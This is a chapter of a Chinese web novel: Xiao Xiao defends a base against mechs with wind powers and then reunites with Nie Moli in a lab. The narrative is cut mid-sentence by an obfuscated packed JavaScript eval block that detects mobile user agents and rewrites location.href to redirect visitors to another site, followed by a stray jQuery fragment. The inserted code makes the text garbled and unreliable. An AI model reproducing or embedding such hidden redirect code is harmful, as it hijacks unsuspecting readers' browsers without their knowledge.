“东南侧A小道,两分钟后敌方机甲抵达拐角。”


    萧潇关注着眼前断续的监控,简短指挥:“设三层障碍。护盾队往后退五米,别挡死风道。”


    “收到。”


    “B侧门,清空通道前二十米,诱导进火力交叉区。连通二号废弃仓库的暗门有故障,三秒后永久封锁”


    有人在频道里骂了一句粗话:“那玩意明明我昨天才刚修好——明白!”


    静电夹杂的讯号在耳机里时断时续地传来,人声、炮火和机械扭转的声响混在一起,竟有几分苦中作乐的兴兴向荣。


    滋!


    短暂闪烁的激光让投影的光幕里又多出几个花屏,数秒后变作光点散去


    【监控损坏】


    系统提示亮的刺目,萧潇面不改色:“预计五分钟后敌军会在仓库暗口探头,执行人员小心。”


    她扫过仅剩的光屏


    砰!


    最后的屏幕消失


    “啧”


    预测的线路在脑中划出红线,萧潇闭上眼,勾勒计算每一条风道、每一个关节承压点。空气的流向在她意识里化作一张清晰的网,供主人随意记号、扭转、收紧。


    标示着敌人的痕迹在收紧的缝隙间游走,包围收束的风流步步紧逼,停留在数层之下的一个角落


    “地下三层注意,”她打开公共频道,“敌方突入口为通风井,立刻开启最强防护”


    另一头断续的回应刚落,震耳欲聋的轰鸣从脚下炸开。


    轰!


    基地上层被撕开一个巨大缺口,爆炸产生的冲击波沿着主干井席卷下来。厚重钢板被硬生生掀起,又砸回地面,碎片乱飞。中心的金属在高温下融化,散开时就如雨一般,白茫茫地洒下来,在旋转的风障中一点点冷却回金属原本的颜色。


    耳朵里充斥着不知是幻听还是信号截断的嗡鸣,萧潇钉在这片裂开的楼宇之前,看见不真实的天光打下来,扭曲地铺在满是裂缝的金属上。


    心跳不正常地律动着,混沌的燥热在血脉中燃烧片刻,灰烬一般沉下去


    静默片刻,她按住大抵没了作用的耳机,摘下前忽然听到一声轻快的问询:


    “要帮忙吗?”


    是云笙


    机械碰撞的声响同样丰富着她所在的背景,听着不算远。不知道怎么就混进了频道的家伙听起来还算游刃有余,很可靠地声明状态:“我这里基本搞定了。”


    ‘很厉害啊’


    本该向上提起的面部肌肉没有半点自行移动的趋势,萧潇向前进了一步,风障中旋转的金属撕开横插的梁柱,欲坠的石块就落下来。


    萧潇闪身避开,向上时听见自己堪称冷淡的回应:“你先保护好自己。”


    “知道知道”很善于感受到爱的嘉宾语气轻松,又关心道:“你那边——”


    “控制室没用了,我这边的怨气核心也已经布下”


    在跟森遥见面前就飞速做完所有个人安排的萧潇脚下一踏又向上窜出数米,翻身进入新的一层时前面的回应才缓缓落地:


    “现在准备回化验室”


    “成,那我一会儿也来”


    “嗯”


    随手关了耳麦,萧潇抬眼,看见道路尽头蓝光汇聚的机甲。


    【异常个体目标锁定】


    三米来高的机械蜘蛛一般张开肢体,锋锐爪尖深深没入墙壁,胸口是扭曲了空气的炮台


    【予以清除】


    风在瞬间爆裂


    强烈到清晰可见的冲击波狠狠砸在机甲充作支点的一侧腿部。金属被扭出一声令人牙酸的脆响,随重心改变偏转了角度的激光就紧贴着天花板扫过去,爆裂整个走廊的光源。


    碎玻璃如雨般落下,毁伤着一切的失控光芒背后,闪出萧潇鬼魅一般的影子。


    “大言不惭”


    风在掌心聚成一点,她用力按上去,锋锐的气流刺穿甲胄狠狠冲入机甲的关节,裹挟着细小的灰尘撕裂线路,炸起一阵乱窜的电弧。


    激光熄灭了,走廊里只剩下探测器转红的微光


    电路吱吱作响,钢铁组成的怪物晃了晃,抬起空闲的腿。


    【威胁】【危险】


    【搜寻指令】


    【予以清除!】


    密集的蛛腿撕裂空气,带着接连不断的音爆狠狠钉入墙壁与地面。


    在不断坠落的支撑之间腾挪躲避,蜂窝般的脆弱环境中,她低声吐气:


    “你们这些破铜烂铁..”


    尖锐阴影兜头罩下,萧潇侧身,轻轻收紧了五指:


    “就不能好好待在仓库里吗。”


    整个通道的空气在瞬间聚成一只无形的大手,将全力刺下的机甲牢牢捏在掌心。


    形变的金属吱呀作响,她抬起眼眸,灰黑的怨气卷入风流——


    轰!


    数吨重的机体纸团一般划出弧线,支持着行动的核心被轻而易举地剥离充作保护的金属外壳,在撞塌墙壁的灰尘里脆弱地闪烁起来。


    乒


    黏附着怨气的长针钉穿负隅顽抗的核心,萧潇跃上不再动弹的金属顶端,抬眼看向前方化验室所在的方向。


    “时间不多了”她低声自语


    无论是答应过莫黎的返程、副本结束前的撤离、或是..那不受人控制的、逐步溃散的情绪


    但没关系,她不会轻易死去


    又一轮爆炸在远处响起,基地骨架被一次次震得发出痛苦的呻吟。


    萧潇眨了眨眼,忽然觉得有点困——不是想睡觉那种困,只是一种空茫的错觉。像是又回到十几年前在汤婆婆家的一个下午,雨连绵不绝,她想去找聂莫黎,就偷偷出了门。山路上少有人声,只有蒙蒙的清凉的雨,大脑就慢慢空下来,只有身体还带着相见的渴望不断向前。


    爆炸声还在,机甲沉重的脚步声还在,只是离她远了一些。


    战场和山路都从她脚边一点点退开,她与年少的自己一同抬头,看见模糊道路终点唯一清晰的幻影


    “莫黎”


    咀嚼着这份名,她推开那扇门


    化验室的门是这一层少数还完整的门之一,推开时需要一点力气。


    她走进去,室内自动灯一盏盏亮起,照亮整齐排列的实验台、数据终端和被固定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836408|175897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在特制床架上的几个依旧存活的东西。


    背景是模糊的,只有操作台前黑色的背影明亮地存在着。聂莫黎站在她视野的中央,侧脸在灯下冷静的紧,身上外套已经不知扔到哪儿,只剩一件被药水溅湿了角的打底衫,袖子挽到手肘。


    听见门开,聂莫黎回头看一眼。


    “回来了?”


    看得出是在操作相当关键的一步,聂莫黎很快收回视线,动作利落地操纵着仪器,很快将一份针剂握进手心


    萧潇望着她,目光从心脏、脖颈、四肢一路细致地摩挲过去,认识到眼前人确实没有任何受创的迹象,才慢慢地松了口气,答:“回来了”


    自进门便敲打起肋骨的心脏随之安分下来,萧潇抚过腕间黯淡的雷咒,想起当时被云笙打醒前惊鸿一瞥记住的、鬼修的法门


    有这个在,能不能将莫黎的情劫也一并——


    “还算准时。”


    家人的嗓音打断思绪,萧潇回了神,牢牢锁定的目光里是聂莫黎的招手:“过来。”


    萧潇走过去,被清掉肩上沾染的一片金属碎屑


    她低头看着聂莫黎的手,突然笑了一下,把那点乱糟糟的东西全部压进无需思考的深处


    “莫黎。”她叫她的名字,声音很轻很软:“我没事。”


    只是睡一觉而已,等离开这里,等你的情劫过去,等避开天地的拘捕,时间还长


    萧潇看着那只手,重复道:“我没事”


    嗯,没事


    别绷得跟钢筋一样或许能更让我相信一点


    习惯性抬手将人揽进怀里,聂莫黎拍拍萧潇的后背,想说些什么,却忽然意识到手下的颤动。不是那种战场上肾上腺素飙升后的颤抖,而是整个人从骨头开始往外泛着细微的战栗


    “..你很冷吗?”


    聂莫黎下意识问


    萧潇没说话,想着要动要回应,却似乎只是让自己收紧了手臂


    明明不冷,但被环住的时候就是在发抖,大脑像断线一样平静下来。


    所有战场的噪音都被挡在门外。她只听见对方心口稳稳的心跳声,鼻尖是熟悉的冷香和一点很淡的香灰味。


    不曾出口的打算和无法讲述的嘱托都安稳的沉下去,萧潇下巴枕在家人肩上,面庞转向聂莫黎时似乎呜咽了一声,沉溺于那个似乎永远可以被称作港湾的怀抱


    聂莫黎垂眸看着她那骤然平和下来的神情,却泛起一股难言的恐慌。


    安宁、安宁..


    ——释怀,消散


    书籍里总是与厉鬼的终局紧紧捆绑的词汇从最深的记忆里无可遏制地跳出来,打碎理应占据主导地位的理智


    不可以、不可以离开


    怀中的呼吸渐渐平定,聂莫黎却愈发紧绷起来,混乱的大脑以从未有过的速度搜寻起可堪应急的解法


    怎么做、怎么做、快!


    颤抖缓慢减弱


    说点什么、弱点是什么、对了——


    一手将解药扎进萧潇后心弹痕所在,她几乎是抢着发了声,开口时自己都不知道自己说了什么:


    “我杀了诺澜。”